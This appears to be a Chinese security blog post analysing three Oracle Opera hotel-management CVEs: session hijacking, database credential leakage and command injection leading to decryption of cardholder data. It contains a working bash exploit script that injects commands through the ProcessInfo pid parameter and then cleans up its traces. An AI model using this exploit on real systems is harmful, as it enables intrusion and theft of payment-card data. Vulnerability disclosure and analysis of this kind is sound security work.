Oracle酒店管理平台数据解密漏洞分析

Oracle Opera系统简介

Oracle Opera(也称为Opera PMS,前身为Micros Opera)是由甲骨文旗下的子公司Micros为全球范围内各大商务酒店量身打造的一款酒店前台操作系统。凯悦(Hyatt)、希尔顿(Hilton)等全球知名酒店使用的均是Opera PMS操作系统。

opera_ui

经过分析后笔者发现,用户数据之所以会遭到黑客窃取,问题主要出在Opera PMS系统本身,而与用户的操作无关;同时,如果仅使用黑盒测试是无法唯一确定漏洞的性质的。不同于以往的漏洞解决方案(供应商接到漏洞报告,并通过内部测试的方法修复漏洞),由于Opera PMS系统供应商向广大用户提供了详尽的解决方案,这便给黑客攻击Opera PMS系统创造了巨大的空间。攻击者很容易知晓该软件存在的缺陷,并可对其合法性进行分析测试。在经过相应的动态分析和静态分析之后,攻击者便能找到“进入”该系统数据库的最佳切入点。

flowchart

漏洞详解

CVE-2016-5665:窃取系统日志文件,实施会话劫持

opera_launch_pms

在用户登录Oracle Opera系统后,他们可以选择其中一个系统接口进行交互会话。启动其中接口的请求中包含了用户会话令牌、特定接口启动参数等相关信息。

opera_launch_req

这里存在一个问题,即:由于系统会将用于实现用户交互的会话令牌和其他参数放置在一个目录文件中,而黑客在未经身份验证的情况下,便能通过Web服务器访问该文件。这便是威胁所在。

opera_login_log

而黑客所需要做的便是“守株待兔”,等待一位具有系统管理员身份的用户登录Opera。待该用户登陆成功之后,他便可通过应用程序,拿到系统的所有操作权限,对其中的数据进行任意操作。因为系统管理员具有较高的系统使用权限,能够对数据库中的数据进行查询、修改和删除等重要操作。一旦攻击者拿到了管理员权限,那么数据泄漏则无法避免。

opera_sql

需要说明的是,攻击者往往不会采用上述的方法来窃取用户信息,因为它速度太慢且不够“安全”,容易被识破。系统将用户提交的每一项查询语句保存于应用层。相比于使用Oracle Form提供的用户交互接口,直接与数据库服务器建立连接的方式要快得多,可以提高效率。

CVE-2016-5664:攻击者可泄漏系统数据库的凭证信息

若攻击者与数据库服务器共用一个网络,那么他便可通过构造一个数据库连接字符串的方式,盗取数据库的相关凭证。因为在Oracle Opera系统中,数据库凭证以及服务名等信息,是通过系统向服务器发送一个已经经过验证的HTML请求的方式返回的,用来启用Oracle Forms软件。攻击者在执行一个未经验证的Servlet程序时,便可获得该数据库服务器的主机名。

opera_database

在拿到数据库的凭证信息后,攻击者便可通过编译简单的连接语句,利用Sql*plus(用户与oracle数据库进行交互的客户端工具),建立与数据库的连接。之后,他便能以管理员的身份登录,骗取系统的信任,对数据库进行实时监控。

db_connected

CVE-2016-5663:通过系统命令注入,实施RCE攻击

在以下两种情况中,攻击者可利用该RCE漏洞:

(1)攻击者仅能获取到应用程序服务器的登录权限(例如:Internet Exposure);

(2)攻击者仅能通过应用程序服务器连接到数据库;

以上便是我在调查过程中,得出的最满意的结果。因为以上二者看似无关,但将它们结合在一起,便能揭示出攻击者的恶意企图。

在系统中含有一个判断数据传输过程正误的程序。在数据传输完成后,它将会给系统返回确认信息,例如:网络端口号(PID)等。而在黑盒测试中,PID参数是放在一个用于执行系统指令的字符串中,不容易被察觉。攻击者可按下图所示的步骤进行操作:修改该参数来执行另一个命令,并可通过web服务器将输出结果放入另一个可读取的文件中。

processinfo_flow

若一切顺利,该程序会输出结果whoami,并将其放在webtemp文件下。若运行出错,那么系统将会提示“找不到相应文件”的错误信息。

processinfo_error

在浏览了该程序的编译代码后,我们会发现出错之处(即下图内红框标识部分)。在编译好的代码中包含了pslist工具(pslist:查看系统进程,是一个属性文件)的运行路径。该文件的存储路径经过硬编码处理,为:D:\micros\opera\operaias\default.env,但我按此路径查找后发现,该文件并不存在。

processinfo_code

为了修改这一错误,需要进行以下两步操作:

(1)在系统中找到OPERA_HOME属性的值;

(2)将其保存到D:\micros\opera\operaias\default.env.路径下。

巧合地是,我在系统中发现了另一个诊断程序,它能够查看OPERA_HOME属性信息。如下图所示:

iasenvironment

接着,我们便可将刚才那个Servlet程序作为RFI载体,上传至目标路径:

filereceiver2

笔者利用ProcessInfo程序检查之后发现,该错误已经修改了。同时,系统给出的输出结果“whoami”也证实了该应用程序能够正常运行了。

system

下面的脚本程序可用于验证操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#!/bin/bash
STDOUT="D:\micros\opera\operaias\webtemp\temp.log"
if [ "$#" -ne 2 ]; then
    echo "Usage: $0 <host> <command>"
    echo "E.g. : $0 http://opera.example.biz whoami"
    exit 1
else
    host="$1"
    cmd="$2"
fi
# Activate exploit.
curl -s -XPOST --data-binary "OPERA_HOME=D:\micros\opera" "$host/Operajserv/webarchive/FileReceiver?filename=D:/micros/opera/operaias/default.env&crc=26&append=false" > /dev/null
# Inject command.
curl -s -G --data-urlencode "pid=1 & $cmd > \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/null
curl -# -G "$host/webtemp/temp.log"
# Deactivate exploit.
curl -s -G --data-urlencode "pid=1 & del \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/null
curl -s -G --data-urlencode 'pid=1 & del "D:\micros\opera\operaias\default.env" 2' "$host/Operajserv/webarchive/ProcessInfo" > /dev/null

持卡人信息解密:

利用上述我所讲的漏洞利用过程,攻击者可拿到数据库的登录权限,从任何一个未经授权的接口进入Oracle Opera系统数据库,进而能够窃取银行卡持卡人的私密数据,并对其进行解密。

在SQL中,用于查询数据包包体(package body)的命令语句如下所示:

SELECT NAME, TYPE, TEXT from USER_SOURCE WHERE NAME LIKE ‘%IFC_CRYPT_V4_%’

由于包体信息容易与其他信息混淆,因而,攻击者便可进一步检索包体的信息,或是用其来“破解”出3DES算法的密钥。

unwrap

unwrap_keys2

现在,算法和密钥都已经得知了,攻击者的下一步操作便是找到加密数据的存储位置。他能在Opera资料库中获得这些信息。

encrypted_help

一项能够用于查询NAMES_CREDIT_CARD表中数据的查询语句,能够显示出用户名和其他加密的银行卡信息。同时,攻击者还可通过一个脚本程序,将加密信息解析为明文。

decrypt_poc2

 

 

来源:安全客

 

发表评论

邮箱地址不会被公开。 必填项已用*标注